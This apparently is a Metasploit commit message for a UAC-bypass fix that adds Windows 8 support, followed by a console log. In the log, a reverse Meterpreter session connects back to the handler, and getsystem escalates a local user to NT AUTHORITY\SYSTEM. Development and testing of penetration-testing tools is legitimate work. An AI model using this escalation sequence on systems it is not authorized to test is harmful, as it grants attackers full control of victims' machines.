Fix from David Kennedy, enable Windows 8 support

meterpreter > run post/windows/escalate/bypassuac

[!] ************************************************************************
[!] *                      This module is deprecated!                      *
[!] *              It will be removed on or about 2013-01-04               *
[!] *             Use exploit/windows/local/bypassuac instead              *
[!] ************************************************************************
[-] Handler failed to bind to 192.168.0.4:4444
[-] Handler failed to bind to 0.0.0.0:4444
[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:4444).
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
meterpreter > 
[*] Sending stage (751104 bytes) to 192.168.0.116
[*] Meterpreter session 2 opened (192.168.0.4:4444 -> 192.168.0.116:25646) at 2013-04-09 02:07:04 -0500

meterpreter > 
meterpreter > getuid
Server username: z420\Developer
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.116 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: z420\Developer
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM